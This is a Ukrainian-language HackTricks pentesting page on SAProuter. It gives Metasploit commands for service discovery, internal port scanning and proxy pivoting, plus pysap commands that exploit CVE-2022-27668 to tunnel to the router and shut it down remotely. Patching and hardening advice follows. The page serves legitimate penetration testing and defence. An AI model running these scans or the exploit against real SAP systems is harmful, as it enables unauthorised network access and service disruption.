# 3299/tcp - Пентестинг SAProuter
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
Це резюме поста з https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/
Розуміння проникнення в SAProuter з Metasploit
SAProuter діє як зворотний проксі для систем SAP, головним чином для контролю доступу між інтернетом та внутрішніми мережами SAP. Його зазвичай відкривають для інтернету, дозволяючи TCP порт 3299 через організаційні брандмауери. Така конфігурація робить SAProuter привабливою мішенню для тестування на проникнення, оскільки він може слугувати шлюзом до внутрішніх мереж з високою цінністю.
Сканування та збір інформації
Спочатку виконується сканування, щоб визначити, чи працює SAP router на заданій IP-адресі, використовуючи модуль sap_service_discovery. Цей крок є вирішальним для встановлення наявності SAP router та його відкритого порту.
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run
Після виявлення проводиться подальше розслідування конфігурації SAP маршрутизатора за допомогою модуля sap_router_info_request, щоб потенційно розкрити деталі внутрішньої мережі.
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run
Перерахування внутрішніх сервісів
З отриманими даними про внутрішню мережу, модуль sap_router_portscanner використовується для сканування внутрішніх хостів та сервісів через SAProuter, що дозволяє глибше зрозуміти внутрішні мережі та конфігурації сервісів.
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
Ця гнучкість модуля у націлюванні на конкретні екземпляри SAP та порти робить його ефективним інструментом для детального дослідження внутрішньої мережі.
Розширена енумерація та картографування ACL
Подальше сканування може виявити, як налаштовані списки контролю доступу (ACL) на SAProuter, детально описуючи, які з'єднання дозволені або заблоковані. Ця інформація є ключовою для розуміння політик безпеки та потенційних вразливостей.
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
Сліпа енумерація внутрішніх хостів
У сценаріях, де пряма інформація з SAProuter обмежена, можна застосувати техніки, такі як сліпа енумерація. Цей підхід намагається вгадати та перевірити існування внутрішніх імен хостів, виявляючи потенційні цілі без прямих IP-адрес.
Використання інформації для пентестингу
Маючи змодельовану мережу та ідентифіковані доступні сервіси, пентестери можуть використовувати можливості проксі Metasploit для переходу через SAProuter для подальшого дослідження та експлуатації внутрішніх SAP-сервісів.
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run
Висновок
Цей підхід підкреслює важливість безпечних конфігурацій SAProuter і висвітлює потенціал доступу до внутрішніх мереж через цілеспрямоване пенетрування. Правильне забезпечення безпеки SAP маршрутизаторів і розуміння їхньої ролі в архітектурі мережевої безпеки є критично важливими для захисту від несанкціонованого доступу.
Для отримання більш детальної інформації про модулі Metasploit та їх використання, відвідайте базу даних Rapid7.
Останні вразливості (2022-2025)
CVE-2022-27668 – Неправильний контроль доступу ➜ Віддалене виконання адміністративних команд
У червні 2022 року SAP випустила Security Note 3158375, що стосується критичної вразливості (CVSS 9.8) в SAProuter (всі ядра ≥ 7.22). Неавтентифікований зловмисник може зловживати дозволеними записами saprouttab
, щоб надсилати адміністративні пакети (наприклад, shutdown, trace-level, connection-kill) з віддаленого хоста, навіть коли маршрутизатор був запущений без опції -X
remote-admin.
Проблема виникає через можливість побудувати тунель до власного інтерфейсу циклічного з'єднання маршрутизатора, націлюючись на невизначену адресу 0.0.0.0. Після встановлення тунелю зловмисник отримує привілеї локального хоста і може виконувати будь-яку адміністративну команду.
Практична експлуатація може бути відтворена за допомогою фреймворку pysap:
# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
-t 0.0.0.0 -r 3299 \
-a 127.0.0.1 -l 3299 -v
# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299
Постраждалі версії
- Окремий SAProuter 7.22 / 7.53
- Ядро 7.49, 7.77, 7.81, 7.85–7.88 (включно з KRNL64NUC/UC)
Виправлення / Пом'якшення
- Застосуйте патч, наданий з SAP Note 3158375.
- Видаліть цільові символи підстановки (
*
) з рядківP
таS
уsaprouttab
. - Переконайтеся, що маршрутизатор запущений без параметра
-X
і не підключений безпосередньо до Інтернету.
Оновлені інструменти та трюки
- pysap – активно підтримується і надає
router_portfw.py
,router_admin.py
таrouter_trace.py
для створення користувацьких пакетів NI/Router, фуззингу ACL або автоматизації експлуатації CVE-2022-27668. - Nmap – розширте виявлення сервісів, додавши користувацький SAProuter зонд:
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
Поєднайте з NSE-скриптами або --script=banner
, щоб швидко визначити версії, які витікають рядок банера (SAProuter <ver> on '<host>'
).
- Metasploit – допоміжні модулі, показані вище, все ще працюють через SOCKS або NI проксі, створений з pysap, що дозволяє повну інтеграцію фреймворку, навіть коли маршрутизатор блокує прямий доступ.
Контрольний список зміцнення та виявлення
- Фільтруйте порт 3299/TCP на периметральному брандмауері – дозволяйте трафік лише з надійних мереж підтримки SAP.
- Тримайте SAProuter повністю оновленим; перевірте за допомогою
saprouter -v
і порівняйте з останнім рівнем патчу ядра. - Використовуйте строгі, специфічні для хоста записи в
saprouttab
; уникайте символів підстановки*
і забороняйте правилаP
/S
, які націлені на довільні хости або порти. - Запустіть сервіс з
-S <secudir>
+ SNC, щоб забезпечити шифрування та взаємну аутентифікацію. - Вимкніть віддалене адміністрування (
-X
) і, якщо можливо, прив'яжіть слухача до127.0.0.1
, використовуючи зовнішній зворотний проксі для необхідного трафіку. - Моніторте журнал dev_rout на наявність підозрілих пакетів
ROUTER_ADM
або несподіваних запитівNI_ROUTE
до0.0.0.0
.
Посилання
- https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/
- https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/
Shodan
port:3299 !HTTP Network packet too big
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.